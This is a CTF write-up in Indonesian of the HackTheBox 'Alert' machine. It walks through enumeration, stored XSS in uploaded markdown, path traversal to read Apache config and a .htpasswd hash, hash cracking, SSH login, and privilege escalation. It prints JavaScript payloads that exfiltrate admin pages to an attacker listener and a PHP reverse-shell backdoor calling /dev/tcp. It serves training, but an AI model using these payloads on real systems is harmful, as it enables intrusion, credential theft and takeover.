- Published on
HACKTHEBOX - Alert WriteUp
- Authors

- Name
- Alvin Dhiyaul H

Reconnaissance
Melakukan scanning port untuk mengetahui port yang terbuka dan service yang sedang berjalan di server menggunakan Nmap.
alvin@0xOff Alert % nmap -sC -sV 10.10.11.44
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-03 11:34 WIB
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.47 seconds
Dari hasil enumerasi menggunakan nmap terdapat sebuah port 80 yaitu service dari sebuah web server dengan hostname alert.htb kemudian add host pada file config /file/hosts supaya kita dapat mengakses web yang terdapat pada server.
sudo echo "10.10.11.44 alert.htb" | sudo tee -a /etc/hosts
Kemudian saya mencoba untuk melakukan enumerasi pada Directory web, untuk mengetahui semua endpoint web apps menggunakan Dirsearch.
dirsearch -u alert.htb --include-status 200,301
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://alert.htb/
[23:58:55] Starting:
[23:59:21] 200 - 24B - /contact.php
[23:59:22] 301 - 304B - /css -> http://alert.htb/css/
[23:59:34] 301 - 309B - /messages -> http://alert.htb/messages/
[23:59:50] 301 - 308B - /uploads -> http://alert.htb/uploads/
Saya juga mencoba melakukan enumerasi terhadap subdomain yang ada di server menggunakan ffuf tools
ffuf -u http://alert.htb -H "Host: FUZZ.alert.htb" -w /Users/alvin/Documents/TOOLS/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -fc 301
statistics.alert.htb. Kemudian ketika kita mengakses web dengan host alert.htb seperti dibawah ini. 
Kita disajikan sebuah fitur Markdown Viewer, sehingga kita dapat melakukan upload file dengan extension .md, dan juga fitur Contact-Us sehingga kita juga dapat mengirim sebuah pesan maupun komentar ke admin
Exploitation to get Initial access
Identifying vulnerabilities
Pada web application terdapat banyak fitur yang tersedia diantaranya:
- Markdown Viewer - Fitur yang dapat di gunakan untuk melihat sebuah markdown file dan kemudian kita dapat membagikan link viewer untuk dapat dilihat oleh orang lain.
- Contact Us - Fitur yang memungkinkan kita untuk menghubungi admin.
NOTE
Kemudian dari hasil indentifikasi kedua fitur diatas saya menemukan sebuah alur (cara kerja) dari fitur tersebut yang kemudian dapat kita manfaatkan untuk melakukan identi & exploitasi pada kedua fitur tersebut, dengan cara. Setelah kita berhasil meng-upload file
payload.mdpada fiturMarkdown Viewer, selanjutnya kita submit link share viewer markdown ke fiturContacts-Ussehingga Admin akan mengakses link tersebut dan sehingga kita dapat melakukan ekploitasi lebih lanjut.
# Evil Markdown
<script>
fetch("http://alert.htb/").then(response => response.text())
.then(data => fetch("http://10.10.14.147:1337", {
method: "POST",
body: data
}));
</script>
Kemudian saya menggunakan netcat untuk menerima output dari payload yang sudah saya buat sebelumnya.
nc -lnvp 1337
Potongan Response Dari Netcat
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a>
</nav>
</body>
Dan dari response yang berhasil kita dapat kan dari netcat kita mendapat Point Of View dari sisi Admin, sehingga kita mengetahui tampilan index dari sisi admin, seperti yang dapat kita lihat terdapat sebuah navbar messages yang hanya dapat dilihat oleh admin.
Expanding The Attack Surface
Selanjutnya setelah kita mengetahui terdapat endpoint messages.php, saya mencoba untuk melihat lebih lanjut response apa yang kita terima ketika mencoba untuk melihat endpoint massages.php. Dengan menambahkan endpoint /massages.php pada script seperti di bawah ini:
# Evil Markdown
<script>
fetch("http://alert.htb/messages.php").then(response => response.text())
.then(data => fetch("http://10.10.14.147:1337", {
method: "POST",
body: data
}));
</script>
Dan kita mendapat sebuah response seperti di bawah ini.
Connection from 10.10.11.44:58424
POST / HTTP/1.1
Host: 10.10.14.147:1337
Connection: keep-alive
Content-Length: 115
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
Dan dari hasil response yang telah kita dapat kan pada endpoint massages.php, kita dapat melihat bahwasanya terdapat sebuah parameter yang digunakan untuk mengambil lalu menampilkan sebuah file, yaitu parameter file=xxxx
Selanjutnya saya mencoba mengakses file id_rsa pada server tetapi cara tersebut tidak berhasil,sehingga saya mencoba untuk mengakses file konfigurasi dari Service Apache.
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../etc/apache2/sites-enabled/000-default.conf").then(response => response.text())
.then(data => fetch("http://10.10.14.147:1337", {
method: "POST",
body: data
}));
</script>
Dan kemudian di dapat response seperti berikut:
<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>
Dari hasil response yang di dapat seperti diatas kita mendapat berbagai informasi seperti, terdapat sebuah VirtualHost dengan subdomain statistics.alert.htb dan Sebuah file yang menarik yang terdapat di direktori /var/www/statistics.alert.htb, yaitu file .htpasswd yang berada di direktori /var/www/statistics.alert.htb/.htpasswd.
Kemudian mari kita lihat lebih dalam file .htpasswd secara lebih mendalam,dengan merubah script payload.md seperti dibawah ini:
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd").then(response => response.text())
.then(data => fetch("http://10.10.14.147:1337", {
method: "POST",
body: data
}));
</script>
Dan dari response yang kita dapat,kita berhasil mendapatkan sebuah informasi berupa adanya user aktif dengan nama albert dan sebuah hash credential.
Connection from 10.10.11.44:45796
POST / HTTP/1.1
Host: 10.10.14.147:1337
Connection: keep-alive
Content-Length: 57
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/</pre>
Selanjutnya kita dapat mencoba melakukan cracking terhadap hash yang sudah berhasil kita dapatkan menggunakan tools Hashcat.
Cracking Hash with Hashcat
Sebelumnya kita simpan terlebih dahulu hash yang sudah kita dapat sebelumnya ke sebuah file yang bernama hashpasswd
echo '$apr1$bMoRBJOg*************LjSWZQ/' > hashpasswd
Kemudian kita cracking menggunakan Hashcat dengan wordlist rockyou.txt dari Seclists
hashcat -m 1600 -a 0 hashpasswd /Users/alvin/Documents/TOOLS/rockyou.txt
Dan kita berhasil mendapatkan password dari user albert
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:ma*************d
Foothold
Kemudian kita coba untuk mengakses SSH menggunakan password yang sudah berhasil kita dapatkan.
ssh albert@alert.htb
Kemudian kita telah berhasil mendapatkan flag dari user.
albert@alert:~$ whoami
albert
albert@alert:~$ cat user.txt
c8***********************3357839
Privilege Escalation to Root Access
Setelah berhasil mendapatkan hak akses user, selanjutnya kita dapat melakukan enumerasi untuk mendapatkan access root pada server, saya akan menggunakan LinPEAS, dengan mengabil linpeas dari host local saya.
Kemudian setelah melakukan enumnerasi menggunakan LinPEAS, saya mendapat informasi bahwasanya terdapat port yang terbuka yaitu port 8080.
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
Dan kita perlu melakukan Port Forwarding supaya service pada port 8080 dapat di akses dari localhost, saya menggunakan SSH untuk melakukan Port Forwarding.
ssh -L 8080:127.0.0.1:8080 albert@alert.htb
Dan ketika saya mengakses port 8080 di localhost, terdapat sebuah web yang digunakan untuk memonitor server.

Lalu saya membuka lagi hasil linpeas untuk mencari informasi mengenai sevice yang di gunakan untuk memonitor server.
Dan kita menemukan sebuah direktori service dengan nama website-monitor yang berada di direktori /opt beserta direktori konfigurasi service yaitu /website-monitor/config
╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group management:
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php
/opt/website-monitor/config/config.php
Dan direktori website-monitor tersebut memiliki hak akses sebagai root.
albert@alert:/opt/website-monitor/config$ ls -ld .
drwxrwxr-x 2 root management 4096 Dec 4 20:32 .
albert@alert:/opt/website-monitor/config$
Kemudian informasi dari linpeas direktori /opt/website-monitor/config adalah GROUP writable files, berarti hak akses user juga memmiliki akses writable pada direktori tersebut, jadi bisa kita simpulkan kita dapat membuat malicious/backdoor file di server dengan Privilege Root.
Buat malicious/backdoor file pada direktori /opt/website-monitor/config.
echo '<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.147/123 0>&1'"); ?>' > malicious.php
Kemudian access file malicious.php
http://127.0.0.1:8080/config/malicious.php
Dan kita berhasil mendapat Privilege Root pada server.
